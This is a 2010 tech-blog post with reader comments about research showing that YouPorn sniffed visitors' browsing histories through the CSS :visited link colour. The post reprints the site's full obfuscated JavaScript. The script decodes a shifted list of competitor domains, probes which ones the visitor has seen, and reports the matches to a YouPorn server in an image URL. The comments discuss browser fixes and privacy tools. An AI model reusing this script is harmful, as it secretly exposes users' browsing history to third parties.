How YouPorn Tries To Hide That It's Spying On Your Browsing History

from the what,-no-rot-13? dept

Wed, Dec 1st 2010 3:47am — Mike Masnick

There's a fair bit of attention being paid to a Forbes article about some new research concerning how a bunch of websites, including YouPorn, are exploiting a simple security hole to see what other sites you've visited:

How does it work? It's based on your browser changing the color of links you've already clicked on. A script on the site exploits a Web privacy leak to quickly check and see whether your browser reveals that the links to a host of other porn sites have been assigned the color "purple," meaning you've clicked them before.

This isn't a huge surprise, but what I found most fascinating was how YouPorn sought to hide this bit of javascript by "encrypting" it. And by "encrypting" it, I mean switching letters one letter up in the alphabet. As Kashmir Hill explains:

The script on YouPorn�s site that checks a user�s history (which you can see for yourself by going to the site and checking out its html with �View Source�) looks like this:

<script type="text/javascript"> function ypol(){var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn", 2:"bevmugsjfoegjoefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn", 5:"yoyy/dpn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn", 8:"yibntufs/dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn", 11:"csb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn", 14:"gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dpn", 17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nbyqpso/dpn", 20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsopsbnb/dpn"}; var g=[];for(var m in k){var d=k[m]; var a="";for(var f=0;f<d.length;f++) {a+=String.fromCharCode(d.charCodeAt(f)-1)}var h=false; for(var j in {"http://":"","http://www.":""}) {var l=document.createElement("a"); l.href=j+a;document.getElementById("ol").appendChild(l); var e="";if(navigator.appName.indexOf("Microsoft")!=-1){e=l.currentStyle.color} else{e=document.defaultView.getComputedStyle(l,null).getPropertyValue("color")} if(e=="rgb(12, 34, 56)"||e=="rgb(12,34,56)"){h=true}}if(h){g.push(m)}} var b=(g instanceof Array)?g.join(","):"";var c=document.createElement("img"); c.src="http://ol.youporn.com/blank.gif?id="+b;document.getElementById("ol").appendChild(c)}ypol(); </script>

That list of gibberish contains the sites that YouPorn is checking to see if you�ve visited, but disguises them with a bit o� simple cryptography. Dial back each letter by one, so �qpsoivc/dpn�, for example, becomes �pornhub.com.�

What's amazing is that anyone actually thought this was a worthwhile move. It's not that hard to "decrypt" and it's almost obvious to the naked eye because it's not too difficult to figure out how the "encryption" (and I use that word loosely) works just by noticing all the terms that end in /dpn. You'd think even a rot-13 would throw a few more people off the scent.

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Filed Under: browsers, encryption, history, javascript, spying
Companies: youporn

40 Comments

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Rose M. Welch (profile), 1 Dec 2010 @ 2:51am

TANSTAAFL
Anyone who visits a free porn site knows that there's some kind of tracking going on, but the other sites don't have that whole 'Hey, I'm a porn site.' excuse. :P
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paperbag (profile), 1 Dec 2010 @ 4:03am

#corrections
Last word: sent
should be: scent

Have a good day, and I wish I could check this out for myself at work. ;)
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John, 1 Dec 2010 @ 4:22am

Silly techdirt
I doubt it's to hide it from a human, but a robot. This is youporn's way of making those URLs not give some kind of credit back to the competition. Seems like it would be quite effective at that.
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Anonymous Coward, 1 Dec 2010 @ 4:27am

This exploit is old news, see for instance http://wtikay.com/ (which also has a page listing several ways to protect yourself).

This is fixed in Firefox 4, see http://dbaron.org/mozilla/visited-privacy and https://developer.mozilla.org/en/CSS/Privacy_and_the_:visited_selector for the details. The relevant bug is https://bugzilla.mozilla.org/show_bug.cgi?id=147777.

If you are still using Firefox 3, the Link Status extension (https://addons.mozilla.org/pt-BR/firefox/addon/12312/) has a checkbox to disable the visited link color, and it shows a star on the status bar if the link is visited (so you do not lose the ability to know if you have already visited that link).
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abc gum, 1 Dec 2010 @ 4:28am

ROT 1 - that's too funny !
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Anonymous Coward, 1 Dec 2010 @ 4:36am

I call that javascript obfuscation and if you do a search for it you will find people do competition on that stuff.

Personally I think it is dumb because it can be "decrypted" or deobfuscated by just running the script with a few modifications.
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abc gum, 1 Dec 2010 @ 4:48am

Re:
ROT 1 is obfuscation ?
I think not, although it might be considered blurring.
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darryl, 1 Dec 2010 @ 4:49am

Its to get past nanny and keyword checkers on scripts.
they are not encrypting to hide it from users, but I bet it is an easy way to get past firewalls, kiddy protection software and so on..

It takes away all the nasty keywords that are used by that type of protection software.
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Anonymous Coward, 1 Dec 2010 @ 5:14am

Another reason that they might be obfuscating it is to avoid trademark violations.
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Chronno S. Trigger (profile), 1 Dec 2010 @ 5:17am

Re: Its to get past nanny and keyword checkers on scripts.
You porn is still vary clearly you porn. That's still not getting past the filters. They'd have to encrypt the entire page, then who would want to go there?
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DS, 1 Dec 2010 @ 5:38am

Re:
Looks like Opera 10 is immune.. or I'm just lucky.. It can't find a darn thing about my history.
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Anonymous Coward, 1 Dec 2010 @ 5:44am

scent
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TechnoMage (profile), 1 Dec 2010 @ 6:04am

would this classify as DMCA...
Circumvention? ;) {The act of "decrypting" this, that is.
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Anonymous Coward, 1 Dec 2010 @ 6:19am

Re: Re:
I doubt it, once you let the flash app run it can collect way more than javascript could ever do.
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Anonymous Coward, 1 Dec 2010 @ 6:50am

Re:
I believe NoScript adds Fx4-style "plug the hole without removing the link color changing feature" protections. I know for certain it implements the HTTP Strict Transport Security and X-Frame-Options security features. (In fact, I think it was the second implementation for both of them after the people who proposed them)

NoScript isn't just JS whitelisting, after all. When you set "Scripts Globally Allowed (dangerous)", you still get the XSS-filter, clickjacking protection, ABE (protection against router exploits bounced off your browser), etc.
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Jon B., 1 Dec 2010 @ 6:54am

Re: Silly techdirt
Yes, this is the reason for the obfuscation.

And, meh, this is a common little trick that browsers are already "fixing" pretty quickly.
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Freedie B, Babe, 1 Dec 2010 @ 7:32am

Awesome
I didn't know about half of these sites. Thanks, Youporn!
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Miles (profile), 1 Dec 2010 @ 7:32am

Old news, but it's still a good refresher.
Ironically, I was working with another "webmaster" trying to correct a cookie issue when he requested of me to ensure my "Remember me" option was checked.

I told him, straight up: "No. It is not my responsibility to leave open a potential security risk for the sake of convenience for either of us. Fix your [removed] cookie problem."

I find it quite interesting people refuse to take responsibility for their actions when things like this appear.

What, is it really difficult to remember one username and several passwords at various sites? Clean out the browser history upon close? Stop using idiotic add-ons to store sensitive information, such as CC numbers?

When people, using these features, then turn and complain about compromises, I can only think "relish in your own stupidity" because they want short cuts, not responsible actions.

Then again, now that there's an ever-increasing demand for "password strength" patterns so convoluted they require people to write them down just so they can remember them, I can't really blame them for using software to remember it for them.

Hence why "webmaster" is now in quotes. Most aren't masters at all, but idiots.

See you around the next "vulnerability" to laziness.
>:)
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muzik027 (profile), 1 Dec 2010 @ 7:35am

Wouldn't an Anonymizer take care of that? Chrome has a good one.
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Marcus Carab (profile), 1 Dec 2010 @ 7:39am

Re:
Is it just colour, though? Or does it disable the :visited style selector entirely? Because I've seen this exploit done by changing the height of visited links then checking the y-offset
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Anonymous Coward, 1 Dec 2010 @ 7:47am

Re: Re:
NoScript is not enough, see the first link I posted (it has an alternative mode which works even with NoScript).
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Anonymous Coward, 1 Dec 2010 @ 7:49am

Re: Re:
Link Status sets an option on Firefox 3.5+ which disables the :visited style entirely. Firefox 4 only allows a few things on the :visited style (mostly only color changes), and for these it lies to the page pretending the :visited style was never applied.
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dev, 1 Dec 2010 @ 8:05am

oh oh
here comes a DMCA lawsuit for decrypting that.
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Anonymous Coward, 1 Dec 2010 @ 8:31am

...incognito browsing on chrome...what?
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Anonymous Coward, 1 Dec 2010 @ 8:59am

Re:
Absolutely. Chrome allows you to open an Anonymizer browse window
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TheStupidOne, 1 Dec 2010 @ 9:13am

meh
I can't honestly say I'm all that worried. I can't see any nefarious purposes this information could be used for (I'm sure there is something, but I just don't see it). While it may be slightly disconcerting that a porn site is tracking my porn browsing history it doesn't bother me, especially since tracking usually allows a site or service to provide personalized ads or recommendations ... How much better would a free porn site be if it immediately knew the 10 best videos to show me?
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James, 1 Dec 2010 @ 10:06am

HAHA!
This is why privacy mode and ad blockers were created.
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Joe Magly (profile), 1 Dec 2010 @ 10:49am

There are a number of
Jscript obfuscation tools out there that do a much better job than this.

This was just lazy/inexperienced work.
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ds, 1 Dec 2010 @ 12:29pm

Re: Re: Re:
I did, and it found nothing.. odd.
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Dean Landolt, 1 Dec 2010 @ 1:00pm

rot-13? that's not nearly nefarious enough!

they should have used Billy Hoffman's javascript dehydration technique (http://blip.tv/file/3684946 ~ 50 min mark) -- it hides your javascript in whitespace (tabs and spaces being 1s and 0s) -- brilliant and pure evil
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Anonymous Coward, 1 Dec 2010 @ 1:46pm

Re: HAHA!
No privacy mode or blocker will stop you from yourself.

If you get to those sites and enable them to watch whatever you want to watch you are disabling the protection those things had to offer.

Flash can access the OS directly and put files in your PC what privacy or security is that?

Same goes to JAVA(not to be confused with Javascript they are different).

Given that porn websites are hostile and many of them will get hacked and carry malicious payloads people should be careful enabling anything in there.
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Anonymous, 1 Dec 2010 @ 2:17pm

Use a dedicated browser for viewing...questionable sites, in private browsing mode. Safari, at least, completely turns off the history and doesn't color the links.
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nasch (profile), 1 Dec 2010 @ 3:49pm

Re:
As does IE. FF for some reason only lets you switch the whole app to private mode, as far as I know anyway. Chrome/Chromium and IE both allow simultaneous private and normal browsing in different tabs or windows.
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abc gum, 1 Dec 2010 @ 6:05pm

Re:
For those who want to be really secure, use double ROT 13.
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Anonymous Coward, 2 Dec 2010 @ 4:25am

Re: Re:
Double Rainbow allusion?
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caibbor, 2 Dec 2010 @ 7:30am

Nothing new
it's called code obfuscation, as another poster put it, and it's not a very good implementation at that. "shifting one letter in the alphabet" is what we call bit shifting, more or less.
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caibbor, 2 Dec 2010 @ 7:31am

Re: Nothing new
erm, ASCII shift.
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Anonymous Coward, 3 Dec 2010 @ 4:20pm

Re: Silly techdirt
Just use "ref:nofollow" in the anchor tag.
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SUSAN, 20 Mar 2011 @ 5:33am

IDEVELOP FORGETPREVIEW
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Brigand, 25 Apr 2011 @ 2:31am

Ignore them.
Just use the 'private browsing' option in the Tools menu � and for the love of simplicity, pay no mind to the pretentious folk who relish in churning out jargon-filled guff and making spaghetti out of very straightforward issues.

Fin.
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